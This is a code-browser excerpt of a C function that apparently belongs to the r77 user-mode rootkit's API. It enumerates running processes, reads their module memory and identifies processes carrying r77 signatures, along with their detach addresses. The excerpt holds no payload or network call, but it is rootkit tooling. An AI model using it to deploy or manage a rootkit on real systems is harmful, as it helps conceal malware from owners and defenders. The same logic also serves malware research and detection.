Function GetR77Processes

r77api/r77process.c:111–169

}

BOOL GetR77Processes(PR77_PROCESS r77Processes, LPDWORD count)
{
	BOOL result = TRUE;
	DWORD actualCount = 0;

	LPDWORD processes = NEW_ARRAY(DWORD, 10000);
	DWORD processCount = 0;
	HMODULE *modules = NEW_ARRAY(HMODULE, 10000);
	DWORD moduleCount = 0;
	BYTE moduleBytes[10];

	if (EnumProcesses(processes, 10000 * sizeof(DWORD), &processCount))
	{
		processCount /= sizeof(DWORD);

		for (DWORD i = 0; i < processCount; i++)
		{
			HANDLE process = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, processes[i]);
			if (process)
			{
				if (EnumProcessModulesEx(process, modules, 10000 * sizeof(HMODULE), &moduleCount, LIST_MODULES_ALL))
				{
					moduleCount /= sizeof(HMODULE);

					for (DWORD j = 0; j < moduleCount; j++)
					{
						if (ReadProcessMemory(process, &((LPBYTE)modules[j])[R77_HEADER_OFFSET], moduleBytes, 10, NULL))
						{
							WORD signature = *(LPWORD)moduleBytes;
							if (signature == R77_SIGNATURE || signature == R77_SERVICE_SIGNATURE || signature == R77_HELPER_SIGNATURE)
							{
								if (actualCount < *count)
								{
									r77Processes[actualCount].ProcessId = processes[i];
									r77Processes[actualCount].Signature = signature;
									r77Processes[actualCount++].DetachAddress = signature == R77_SIGNATURE || signature == R77_SERVICE_SIGNATURE ? *(DWORD64*)&moduleBytes[2] : 0;
								}
								else
								{
									result = FALSE;
								}

								break;
							}
						}
					}
				}

				CloseHandle(process);
			}
		}
	}

	FREE(processes);
	FREE(modules);

	*count = actualCount;
	return result;